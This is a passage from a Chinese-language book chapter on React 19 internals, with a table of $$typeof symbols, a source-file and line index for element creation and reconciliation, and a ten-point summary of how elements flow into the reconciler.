$$typeof 不只是 REACT_ELEMENT_TYPE。packages/shared/ReactSymbols.js 里定义了一整套标记,协调器靠它们分派:

符号用途
REACT_ELEMENT_TYPE普通 React 元素
REACT_LEGACY_ELEMENT_TYPE旧版本 React 创建的元素(跨版本兼容)
REACT_FRAGMENT_TYPE<> / <React.Fragment>
REACT_PORTAL_TYPEcreatePortal 的产物
REACT_LAZY_TYPElazy() 的产物
REACT_MEMO_TYPEmemo() 的产物
REACT_FORWARD_REF_TYPEforwardRef() 的产物(React 19 后仅兼容保留)
REACT_PROFILER_TYPE<Profiler>
REACT_SUSPENSE_TYPE<Suspense>
REACT_SUSPENSE_LIST_TYPE<SuspenseList>
REACT_ACTIVITY_TYPE<Activity>
REACT_VIEW_TRANSITION_TYPE<ViewTransition>
REACT_CONTEXT_TYPE / REACT_CONSUMER_TYPEContext 对象与其消费者
REACT_STRICT_MODE_TYPE<StrictMode>
REACT_TRACING_MARKER_TYPE<TracingMarker>(内部追踪)
REACT_SCOPE_TYPE实验性的 Scope
REACT_RECOVERABLE_TYPE / REACT_LEGACY_HIDDEN_TYPE历史遗留 / 可恢复子树

协调器拿到一个元素后的第一件事就是读 $$typeof 分派(第 4 章 reconcileChildFibersImpl),这张表就是那次分派的完整输入域。其中最容易被误解的是 REACT_MEMO_TYPE 与 REACT_LAZY_TYPE:它们不是元素,而是"包裹器",需要 beginWork 先解包再处理。


2.21 本章源码索引表

所有路径相对仓库根 react-19.3.1,行号以 19.3.1 为准。

元素的生产(packages/react)

主题文件位置
元素工厂(唯一构造点)packages/react/src/jsx/ReactJSXElement.jsReactElement(:170)
保留属性表同上RESERVED_PROPS(:109 附近,配合 hasValidRef :97 / hasValidKey :109)
jsx 生产版同上jsxProd(:291)
jsx 签名版(dynamic / static children)同上:362 / :398
jsxDEV 开发版同上:441
createElement同上:610
cloneElement同上:770
isValidElement同上:891
jsx / jsxs / jsxDEV 的对外装配packages/react/src/jsx/ReactJSX.js全文 28 行(:11-17)
自动运行时入口packages/react/jsx-runtime.js9 行,仅重导出
开发运行时入口packages/react/jsx-dev-runtime.js重导出 jsxDEV
服务端运行时packages/react/src/jsx/ReactJSXServer.jsRSC / Fizz 侧
全部 $$typeof 符号packages/shared/ReactSymbols.jsREACT_ELEMENT_TYPE(:16)、REACT_PORTAL_TYPE(:19)、REACT_FRAGMENT_TYPE(:20)、REACT_MEMO_TYPE(:30)、REACT_LAZY_TYPE(:31)
Children APIpackages/react/src/ReactChildren.jsmapChildren(:366)、forEachChildren(:415)、countChildren(:392)、mapIntoArray(:155)、escape(:41)、escapeUserProvidedKey(:63)、getElementKey(:74)
类组件基类packages/react/src/ReactBaseClasses.jsComponent / PureComponent

勘误:React 19.3.1 已无独立的 ReactElement.js——createElement / jsx / cloneElement / isValidElement 全部合并进 packages/react/src/jsx/ReactJSXElement.js(905 行)。网上多数教程仍引用旧路径。

元素的消费(packages/react-reconciler)

主题文件位置
元素 → Fiber(协调入口)packages/react-reconciler/src/ReactChildFiber.jsreconcileChildFibersImpl(:1854)、类型分派(:1884-1921)
元素类型 → Fiber tagpackages/react-reconciler/src/ReactFiber.jscreateFiberFromTypeAndProps
begin work 分发packages/react-reconciler/src/ReactFiberBeginWork.jsbeginWork 按 tag 分派
类组件实例创建packages/react-reconciler/src/ReactFiberClassComponent.jsconstructClassInstance
ref / props 提交packages/react-reconciler/src/ReactFiberCommitEffects.jscommit 阶段消费

2.22 本章要点小结

  1. 元素是纯数据、不可变、不可调用的描述对象,由 ReactElement 工厂(经 createElement/jsx/jsxDEV/cloneElement)生产;它描述"要渲染什么",不触碰 DOM。
  2. $$typeof: REACT_ELEMENT_TYPE(全局 Symbol)是防伪标签:JSON 无法伪造 Symbol,从而挡住了跨信任边界的元素注入攻击;同时 REACT_LEGACY_ELEMENT_TYPE 用于多份 React 拷贝的版本隔离报错。
  3. 元素四字段核心:$$typeof、type、key(顶层、非 props)、props(含 children)。ref 在 React 19 已变为普通 prop(props.ref)。开发期元素被冻结并附带 _owner/_store 等调试字段。
  4. 元素 ≠ 组件 ≠ 实例 ≠ Fiber:组件是函数/类(行为),元素是快照(数据),实例仅 class 组件有(this),Fiber 是跨渲染复用的内部工作单元。四者职责分明。
  5. createElement 全解:拆分 config(提拔 key、过滤 __self/__source、用新建+拷贝避免 delete 退化)、多参数 children 归一化为 props.children(单个 vs 数组)、legacy 解析 defaultProps、挂 key 访问告警器、准备 owner/debug 信息。
  6. jsx/jsxs/jsxDEV 与 automatic runtime:编译器把 JSX 转译到 react/jsx-runtime;jsx/jsxs 共享 jsxProd,jsxDEV 仅开发期,负责静态 children 校验、key spread 告警、owner stack 等。
  7. React.Children 的不透明性:props.children 可能是单元素/数组/嵌套/可迭代/文本;mapIntoArray 统一递归遍历并重分配复合 key(cloneAndReplaceKey),这是"map 后 key 变了"的根源;only 校验单一元素;非法对象 children 抛友好错误。
  8. cloneElement 语义与 ref 陷阱:浅合并 + 默认保留 key/children;React 19 因 ref 即 prop 而从机制上消灭了 18 及以前"cloneElement 静默吞掉 ref"的经典坑。
  9. React 19 在元素/JSX 上的变化:ref 成为普通 prop;defaultProps 函数组件不再被官方支持(协调器不再解析,推荐解构默认值,类组件仍支持);React.Children 不处理乐观 key;Fragment 支持 ref;key 自动分配与 REACT_OPTIMISTIC_KEY;element.ref 读取废弃告警。
  10. 元素流入 Reconciler(预告):reconcileChildFibers 一读 $$typeof 即分派;reconcileSingleElement 用 element.key/element.type/element.props.ref 决定复用或新建 Fiber;reconcileChildrenArray 完全依赖 key 复用——这正是"手写稳定 key"的底层原因。完整 Diff 算法见第 4 章。

下一章(第 3 章:Fiber 架构与双缓冲)将从 createFiberFromElement 出发,深入 Fiber 节点的字段、链表结构、与元素的映射关系,以及"双缓冲(alternate)"如何支撑并发渲染——本章的元素,正是 Fiber 树的"种子"。